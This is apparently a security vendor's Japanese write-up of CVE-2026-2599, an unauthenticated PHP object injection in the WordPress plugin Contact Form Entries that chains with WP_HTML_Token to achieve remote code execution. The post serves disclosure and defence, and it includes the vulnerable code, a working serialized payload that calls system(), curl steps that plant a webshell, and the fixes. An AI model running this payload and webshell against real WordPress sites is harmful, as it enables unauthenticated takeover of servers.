当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで96.75%のスコアを記録しました。 詳細を見る

セキュリティ

セキュリティ

CVE-2026-2599:WordPressのPHPオブジェクトインジェクションからRCEへ

WordPressプラグイン「Contact Form Entries」(≤ 1.4.7)に存在する、CVSS 9.8(クリティカル)の未認証PHPオブジェクトインジェクションの脆弱性「CVE-2026-2599」に関する技術的解説。download_csv関数がallowed_classesの制限なしに信頼できないユーザー入力をデシリアライズします。WordPress 6.4.0〜6.4.1と組み合わせることで、組み込みのWP_HTML_Tokenクラスがすべてパブリックな完全なPOPチェーンを提供し、2つの未認証HTTPリクエストを介した完全なリモートコード実行(RCE)につながります。

CVE-2026-2599のエクスプロイト

未認証のPHPオブジェクトインジェクション → WP_HTML_Token POPチェーン

2026年3月12日 · CVSS 9.8 クリティカル · Contact Form Entries ≤ 1.4.7 + WordPress 6.4.0-6.4.1

CVE ID CVSS 影響対象 修正バージョン
CVE-2026-2599 9.8 クリティカル CF Entries ≤ 1.4.7 + WP 6.4.0-6.4.1 プラグイン 1.4.8 / WP 6.4.2+

ここから事態は危険な様相を呈します。このプラグインはあらゆる段階でユーザー入力を盲信しています。エントリポイントに認証チェックはなく、デシリアライゼーションに対するクラス制限もなく、エラーは警告なしに抑制されます。以降では、攻撃者がどのように正面から入り込み、悪意のあるシリアライズされたオブジェクトを挿入し、残りの処理をPHPに実行させるのかについて解説します。

CVE-2026-2599の概要:未認証のPHPオブジェクトインジェクション

CVE-2026-2599は、「Database for Contact Form 7, WPforms, Elementor forms」プラグイン(スラッグ:contact-form-entries)に存在する未認証のPHPオブジェクトインジェクションの脆弱性であり、1.4.7以下のすべてのバージョンに影響します。

この脆弱性はdownload_csv関数に存在し、allowed_classesによる制限なしに信頼できないユーザー入力をデシリアライズします。このプラグイン単体には悪用可能なPOPチェーンは含まれていません。しかし、WordPress 6.4.0または6.4.1と組み合わせることで、組み込みのWP_HTML_Tokenクラスが完全なチェーンを提供します。

  • すべてパブリックなプロパティ、NULバイトのシリアライゼーションが不要
  • __wakeupによる保護の欠如(WP 6.4.2でのみ追加)
  • call_user_func($this->on_destroy, $this->bookmark_name)を呼び出す危険な__destruct
影響:2つの未認証HTTPリクエストを介した完全なリモートコード実行。(1)Contact Form 7経由でシリアライズされたペイロードを送信、(2)CSVエクスポートをトリガーしてデシリアライズおよび実行。どの段階でも認証は一切不要。

脆弱性分析:未認証のデシリアライゼーション

エントリポイント:認証不要

脆弱性のトリガーはcontact-form-entries.phpの76〜89行目に存在します。

public function init() {
    if (!empty($_GET['vx_crm_form_action']) &&
            $_GET['vx_crm_form_action'] == "download_csv") {
        $form_id = !empty($_GET['vx_form_id']) ? $_GET['vx_form_id'] : "";
        $data    = !empty($_GET['data'])        ? $_GET['data']        : "";
        $key     = !empty($_GET['vx_crm_key'])  ? $_GET['vx_crm_key']  : "";
        self::download_csv($form_id, $data, $key);
        die();
    }
}

認証チェックは一切ありません。未認証の攻撃者は、単一のGETリクエストでこれをトリガーできます。

GET /?vx_crm_form_action=download_csv&vx_crm_key=<EXPORT_KEY>

エクスポートキーは、WordPressのoptionsテーブルに保存されている44文字のSHA1ハッシュです。これは総当たり攻撃、情報漏えい、またはバックアップファイルやクライアント側JavaScriptからの漏えいによって取得される可能性があります。

シンク:安全でないデシリアライゼーション

download_csv関数はフォームのエントリを取得し、3017行目でそれらをデシリアライズします。

$val = maybe_unserialize($row[$field['name'].'_field']);

maybe_unserialize()は、allowed_classesの制限なしにPHPのunserialize()をラップしています。

function maybe_unserialize($data) {
    if (is_serialized($data))
        return @unserialize($data);  // no allowed_classes parameter
    return $data;
}

@演算子によってエラーは抑制されます。オートローダーで利用可能な任意のPHPオブジェクトが注入される可能性があります。

コードフロー

HTTP GET /?vx_crm_form_action=download_csv
    |
init() -- no auth check
    |
download_csv($form_id, $data, $key)
    |
SQL query fetches user-submitted form data
    |
maybe_unserialize($row['message_field'])  -- line 3017
    |
PHP object instantiated from attacker-controlled string
    |
__destruct() fires during cleanup
    |
RCE

エクスプロイトの障壁:wp_kses_no_null()によるNULバイトフィルター

デシリアライゼーションのシンクは存在しますが、純粋なHTTP経由での悪用には大きな障害があります。それがwp_kses_no_null()です。

フォームの送信内容が保存される前に、WordPressはそれをwp_kses_no_null()に渡します。

function wp_kses_no_null($string, $options = null) {
    $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $string);
    $string = preg_replace('/\\\\+0+/', '', $string);
    return $string;
}

PHPはprivateおよびprotectedプロパティをNULバイトマーカーとともにシリアライズします。

// Public property
s:4:"name";s:5:"value";

// Private property (NUL bytes required)
s:14:"\0ClassName\0name";s:5:"value";
      ^^^^
        stripped by wp_kses_no_null()

実際の例として、GuzzleHttp\Cookie\FileCookieJarにはfile_put_contents()を伴う__destructチェーンがありますが、そのすべてのプロパティはprivateです。HTTP送信によってNULバイトが除去されるため、ペイロードが不正な形式になり、エクスプロイトは失敗します。

あらゆるエンコード方法がテストされましたが、すべて除去されました。生のNULバイト(\x00)、PHPエスケープ(\0)、複数のバックスラッシュ(\\0、\\\0)、URLエンコード(%00)、PHPのS:形式など、いずれもwp_kses_no_null()を回避することはできません。

結論:悪用には、シリアライズされたペイロードにprivateまたはprotectedプロパティが一切出現しない、すべてパブリックなPOPチェーンが必要です。

CVE-2026-2599のエクスプロイト経路

悪用には、すべてのプロパティがパブリックであり、シリアライゼーションにNULバイトが含まれないPOPチェーンが必要です。

15以上の一般的なWordPressプラグインを分析し、悪用可能なすべてパブリックなPOPチェーンが存在するか調査しました。

プラグイン __destructメソッド __toStringメソッド 悪用可能か
UpdraftPlus 8 4 privateプロパティ
BackWPup 12 3 危険なシンクなし
Yoast SEO 6 7 型チェックが注入をブロック
Wordfence 5 2 ファイル/コマンドシンクなし
Duplicator 9 3 privateプロパティ
WooCommerce 18 11 privateプロパティ + ガード
Elementor 14 8 悪用可能なチェーンなし
All-in-One WP Migration 7 4 privateプロパティ
WP Mail SMTP 4 2 シンクなし
Ninja Forms 5 3 シンクなし
Redux Framework 6 5 型安全性

PHPGGC(PHP Generic Gadget Chains)についても分析しました。WordPress固有のチェーンはすべてパッチ適用またはガードされていました。WordPress/P1(WP 5.5.2で修正済み)、WordPress/P2(__wakeup追加)、WordPress/P3(WP 6.4.2で__wakeup追加)。phpseclib v2のチェーンはPHP 4スタイルのvarプロパティ(PHP 5以降ではパブリック)を使用し、eval()シンクをターゲットにしていますが、PHP 8.3の厳格なfeof()の型チェックにより、シンクに到達する前にクラッシュします。

結果:WordPress 6.4.0〜6.4.1におけるWP_HTML_Tokenを除き、WordPress 6.9.1 / PHP 8.3上で動作するすべてパブリックなPOPチェーンを提供する既存のプラグインはありません。

突破口:WP_HTML_Token(WordPress 6.4.0〜6.4.1)

WordPress 6.4.0では、wp-includes/html-api/class-wp-html-token.phpにWP_HTML_Tokenが導入されました。

class WP_HTML_Token {
    public $bookmark_name;
    public $node_name;
    public $has_self_closing_flag;
    public $on_destroy;

    public function __destruct() {
        if (isset($this->on_destroy)) {
            call_user_func($this->on_destroy, $this->bookmark_name);
        }
    }
}

このチェーンが完璧である理由として、4つのプロパティがすべてパブリックであること(シリアライゼーション時にNULバイトが一切発生しない)、WP 6.4.0〜6.4.1には__wakeupが存在しないこと、__destructが攻撃者の制御下にある引数を用いて任意のPHP関数を呼び出すこと、そして追加のプラグインを必要とせずデフォルトで利用可能であることが挙げられます。

エクスプロイトペイロード:

O:13:"WP_HTML_Token":4:{
    s:13:"bookmark_name";s:2:"id";
    s:9:"node_name";s:3:"DIV";
    s:21:"has_self_closing_flag";b:0;
    s:10:"on_destroy";s:6:"system";
}

// When destroyed:
call_user_func("system", "id");  // executes OS command

CVE-2026-2599の概念実証(PoC):完全なリモートコード実行

この脆弱性が単なる理論上のリスクにとどまらないことを実証するため、当社は制御されたラボ環境でゼロから完全に動作するエクスプロイトを構築しました。その結果は驚くべきものでした。ログインや認証情報を一切使用せず、2つの単純なHTTPリクエストを送信するだけで、脆弱なWordPressサイトを完全に制御下に置くことができます。通常のContact Form 7の送信を介して細工したWP_HTML_Tokenオブジェクトを注入し、CSVエクスポートエンドポイントにアクセスしてそのデシリアライゼーションをトリガーします。そこからはPHPが残りの処理を引き受けます。ガベージコレクターが作動し、__destruct()が実行され、system()がコマンドを実行して、Webシェルが密かにサーバー上に配置されます。全体にかかる時間は3秒未満です。

ラボ環境のセットアップ

version: '3'
services:
  wordpress:
    image: wordpress:6.4.1-php8.1-apache
    ports:
      - "8081:80"
    environment:
      WORDPRESS_DB_HOST: wp_db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
  wp_db:
    image: mariadb:10.11
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

プラグインのセットアップ

Contact Form 7 v5.8.4およびContact Form Entries v1.4.7をインストールします。データベースのoptionsテーブルを直接更新して、CF7の送信を記録するようにCF Entriesを設定します。

-- Set up form ID mapping
UPDATE wp_options
SET option_value = 'a:1:{s:4:"cf_5";s:44:"12345abc678def901234567890abcdef1234567890ab";}'
WHERE option_name = 'vx_crm_forms_ids';

-- Register form metadata
UPDATE wp_options
SET option_value = 'a:1:{s:4:"cf_5";a:1:{s:2:"id";s:1:"5";}}'
WHERE option_name = 'vxcf_all_forms';

ステップ1:CF7経由でのペイロード送信(認証不要)

ペイロードはWebシェルを/var/www/html/pwned.phpに書き込みます。Webシェルの内容(<?php system($_GET['c']); ?>)は、HTTP転送に対応できるようBase64でエンコードされています。

echo -n 'O:13:"WP_HTML_Token":4:{...full payload...}' > /tmp/payload.txt

curl -X POST 'http://target:8081/?rest_route=/contact-form-7/v1/contact-forms/5/feedback' \
  -F '_wpcf7=5' \
  -F '_wpcf7_version=5.8.4' \
  -F '_wpcf7_unit_tag=wpcf7-f5-o1' \
  -F 'message=</tmp/payload.txt'

{"contact_form_id":5,"status":"mail_failed","message":"There was an error..."}

mail_failedのステータスは想定どおりであり、成否にかかわらずペイロードはデータベースに保存されます。

ステップ2:CSVエクスポートのトリガー(デシリアライゼーション)

実行シーケンス:プラグインはデータベースに問い合わせを行い、message_fieldカラムからシリアライズされたWP_HTML_Tokenを取得して、3017行目でmaybe_unserialize()を呼び出します。PHPはオブジェクトをインスタンス化し、4つのプロパティすべてに値を設定した後、3089行目でmb_substr()が文字列ではなくオブジェクトを受け取った際にTypeErrorが発生します。クリーンアップ処理の過程で__destruct()が実行され、call_user_func("system", "echo PD9... | base64 -d > pwned.php")が呼び出されて、Webシェルがディスクへ密かに書き込まれます。致命的エラー(Fatal error)のレスポンスは見せかけにすぎず、エラー画面が表示される前にすでにRCEが実行されています。

ステップ3:RCEの検証

curl 'http://target:8081/pwned.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl 'http://target:8081/pwned.php?c=uname+-a'
# Linux abc123 6.1.0-18-amd64 ... GNU/Linux
完全なコマンド実行を達成。どの段階でも認証は一切不要。2つのHTTPリクエスト。3秒未満。認証情報なし。ユーザー操作なし。

CVE-2026-2599の修正方法

修正されたコードの分析

WordPress 6.4.2では、WP_HTML_Tokenに単一のキルスイッチが追加されました。

// BEFORE (vulnerable): no __wakeup — deserialization completes, __destruct fires
public function __destruct() {
    if (isset($this->on_destroy)) {
        call_user_func($this->on_destroy, $this->bookmark_name);
    }
}

// AFTER (fixed): __wakeup throws immediately, object is destroyed before __destruct
public function __wakeup() {
    throw new LogicException('WP_HTML_Token should never be unserialized');
}

PHPの仕様として、__wakeup()が例外をスローした場合、オブジェクトは即座に破棄され、__destruct()は実行されません。これにより、POPチェーン全体が無力化されます。これはまさに、この攻撃ベクトルに対応するために追加されたものです。

Contact Form Entriesプラグイン1.4.8では、WordPressのバージョンに関係なくオブジェクトインジェクションを防止するため、unserialize()にallowed_classesの制限を渡すことでデシリアライゼーションのシンクを個別に修正しています。

// AFTER (fixed): restrict deserialization to scalar types only
return @unserialize($data, ['allowed_classes' => false]);

CVE-2026-2599の緩和策とベストプラクティス

  • 今すぐアップデート:Contact Form Entriesを1.4.8以降にアップグレードし、WordPressが6.4.2以降であることを確認してください。いずれか一方の修正だけでもエクスプロイトチェーンを遮断できます。
  • unserialize()の制限:ユーザーが制御可能なデータをデシリアライズする際は、常に['allowed_classes' => false]または明示的な許可リストを渡してください。
  • デシリアライゼーション入力の検証:ユーザー向けのHTTPエンドポイントを通過したデータを、厳格な型やクラスの制限なしにデシリアライズしないでください。
  • WAFルールの適用:フォーム送信フィールド内のPHPシリアライゼーション構文(O:<digits>:)を検知するルールを配備してください。
  • プラグイン更新の監視:Contact Form Entriesのようにインストール数の多いプラグインは、標的としての価値が高くなります。有効化しているプラグインについて、WordfenceやWPScanのアドバイザリを購読してください。

参考資料

リソース リンク
Wordfenceアドバイザリ https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-entries/cve-2026-2599
Contact Form Entriesプラグイン https://wordpress.org/plugins/contact-form-entries/
PHPGGC(PHP Generic Gadget Chains) https://github.com/ambionics/phpggc